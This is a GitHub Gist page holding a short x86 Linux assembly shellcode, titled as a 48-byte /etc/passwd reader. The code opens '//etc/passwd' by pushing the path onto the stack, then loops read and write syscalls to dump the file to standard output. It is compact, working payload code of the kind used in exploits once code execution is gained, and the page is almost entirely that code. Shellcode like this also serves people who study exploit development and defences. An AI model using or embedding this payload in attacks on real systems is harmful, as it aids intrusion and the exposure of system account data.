Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created July 25, 2016 18:00
Show Gist options
  • Save Jinmo/9658dd3db45874f6ad78868ded6447dd to your computer and use it in GitHub Desktop.
Save Jinmo/9658dd3db45874f6ad78868ded6447dd to your computer and use it in GitHub Desktop.
x86 /etc/passwd read shellcode 48bytes
.intel_syntax noprefix
.globl _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov al, 5
mov dl, 1
mov ebx, esp
int 0x80
mov edi, edx
xchg eax, ebx
xchg eax, ecx
mov al, 4
loop:
xor al, 7
push eax
int 0x80
dec eax
pop eax
xchg ebx, edi
jge loop
end:
xchg eax, edx
int 0x80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment